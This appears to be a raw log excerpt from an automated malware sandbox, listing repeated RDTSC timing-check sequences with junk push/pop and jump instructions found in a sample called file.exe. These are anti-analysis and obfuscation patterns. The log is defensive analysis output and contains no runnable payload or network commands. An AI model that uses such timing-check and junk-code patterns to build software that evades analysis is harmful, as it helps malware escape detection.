Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB3DA second address: FFB3FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB34C126C7h 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB3FA second address: FFB41D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FFB34E3B6C6h 0x0000000a popad 0x0000000b jl 00007FFB34E3B6E4h 0x00000011 jo 00007FFB34E3B6CEh 0x00000017 jns 00007FFB34E3B6C6h 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001712 second address: 1001716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001716 second address: 100171A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100171A second address: 1001720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001720 second address: 1001725 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001725 second address: 100172B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1000468 second address: 100046C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100075D second address: 1000767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FFB34C126B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1000767 second address: 1000771 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FFB34E3B6CEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1000A6F second address: 1000A73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1000A73 second address: 1000A94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FFB34E3B6C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d js 00007FFB34E3B6F0h 0x00000013 push eax 0x00000014 push edx 0x00000015 jns 00007FFB34E3B6C6h 0x0000001b jno 00007FFB34E3B6C6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1000C17 second address: 1000C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1000D4C second address: 1000D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1000D50 second address: 1000D5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FFB34C126B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001014 second address: 100101A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100101A second address: 100102D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100102D second address: 1001031 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001031 second address: 1001039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001039 second address: 100103F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3919 second address: FD391D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD391D second address: FD3923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3923 second address: FD3929 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3929 second address: FD3943 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FFB34E3B6CCh 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3CA7 second address: FD3CB5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007FFB34C126B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3CB5 second address: FD3CD0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FFB34E3B6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c mov edx, 39086CF5h 0x00000011 push 00000004h 0x00000013 mov dh, ch 0x00000015 nop 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3CD0 second address: FD3CF6 instructions: 0x00000000 rdtsc 0x00000002 je 00007FFB34C126B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FFB34C126C0h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 jo 00007FFB34C126B6h 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3CF6 second address: FD3D08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFB34E3B6CDh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD44AC second address: FD4523 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007FFB34C126B8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov edx, esi 0x00000028 lea eax, dword ptr [ebp+12497EDCh] 0x0000002e push 00000000h 0x00000030 push eax 0x00000031 call 00007FFB34C126B8h 0x00000036 pop eax 0x00000037 mov dword ptr [esp+04h], eax 0x0000003b add dword ptr [esp+04h], 00000019h 0x00000043 inc eax 0x00000044 push eax 0x00000045 ret 0x00000046 pop eax 0x00000047 ret 0x00000048 jl 00007FFB34C126B9h 0x0000004e movsx ecx, si 0x00000051 push eax 0x00000052 push ecx 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4523 second address: FD4527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005589 second address: 100559D instructions: 0x00000000 rdtsc 0x00000002 ja 00007FFB34C126B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e ja 00007FFB34C126B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100559D second address: 10055A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10055A1 second address: 10055A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10055A7 second address: 10055B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10055B3 second address: 10055B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005762 second address: 1005771 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007FFB34E3B6C6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005771 second address: 1005791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 jmp 00007FFB34C126C1h 0x0000000d pushad 0x0000000e popad 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005791 second address: 1005797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005797 second address: 100579B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005AF0 second address: 1005AF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005C89 second address: 1005C8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100609B second address: 10060CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB34E3B6CDh 0x00000009 popad 0x0000000a push eax 0x0000000b jl 00007FFB34E3B6C6h 0x00000011 jmp 00007FFB34E3B6D5h 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10060CA second address: 10060F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126C1h 0x00000007 pushad 0x00000008 jmp 00007FFB34C126BBh 0x0000000d jg 00007FFB34C126B6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10139C3 second address: 10139C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1012778 second address: 101278A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB34C126BAh 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101278A second address: 10127A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB34E3B6D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10128F8 second address: 10128FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10128FC second address: 1012900 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1012900 second address: 1012921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FFB34C126B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d jmp 00007FFB34C126C2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1012921 second address: 1012926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1012A92 second address: 1012A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1012EA4 second address: 1012ECF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6D5h 0x00000007 push edi 0x00000008 jmp 00007FFB34E3B6D1h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013166 second address: 101316C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101316C second address: 1013172 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013172 second address: 1013178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10132B7 second address: 10132DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 jmp 00007FFB34E3B6D9h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10132DA second address: 10132E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101375C second address: 1013772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB34E3B6CAh 0x00000009 jl 00007FFB34E3B6CCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016A73 second address: 1016AAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jne 00007FFB34C126B6h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 jns 00007FFB34C126B6h 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b popad 0x0000001c jnl 00007FFB34C126B6h 0x00000022 popad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 pushad 0x00000028 popad 0x00000029 pushad 0x0000002a popad 0x0000002b pop eax 0x0000002c jmp 00007FFB34C126BCh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10162E7 second address: 10162EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10162EB second address: 10162EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10162EF second address: 10162F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10162F8 second address: 1016308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FFB34C126B6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016308 second address: 1016322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB34E3B6D3h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101644F second address: 1016455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016455 second address: 1016462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007FFB34E3B6C6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016462 second address: 1016495 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push ebx 0x0000000a jg 00007FFB34C126C7h 0x00000010 jmp 00007FFB34C126C1h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FFB34C126BAh 0x0000001c je 00007FFB34C126B6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10165F0 second address: 1016608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FFB34E3B6D0h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016608 second address: 101660C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016784 second address: 101678C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101DE13 second address: 101DE2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126C1h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101DE2A second address: 101DE2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101DE2E second address: 101DE3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101CFB9 second address: 101CFD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB34E3B6D8h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D156 second address: 101D15C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D15C second address: 101D167 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FFB34E3B6C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D305 second address: 101D30B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D5F5 second address: 101D5FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D5FB second address: 101D612 instructions: 0x00000000 rdtsc 0x00000002 js 00007FFB34C126B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FFB34C126BAh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D612 second address: 101D618 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D618 second address: 101D62F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FFB34C126BCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D62F second address: 101D637 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D799 second address: 101D79F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D79F second address: 101D7EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FFB34E3B6F2h 0x0000000c jmp 00007FFB34E3B6D8h 0x00000011 jmp 00007FFB34E3B6D4h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FFB34E3B6D3h 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10215AB second address: 10215BA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007FFB34C126B6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1027829 second address: 102782D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102782D second address: 1027833 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1027833 second address: 102784C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FFB34E3B6CBh 0x0000000d jbe 00007FFB34E3B6C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102784C second address: 1027850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1026279 second address: 102629B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB34E3B6D4h 0x00000009 pop edx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102629B second address: 102629F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102629F second address: 10262B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FFB34E3B6C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10262B0 second address: 10262C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB34C126C0h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102666B second address: 1026671 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1026671 second address: 102667B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102667B second address: 1026681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1026681 second address: 1026699 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007FFB34C126BAh 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
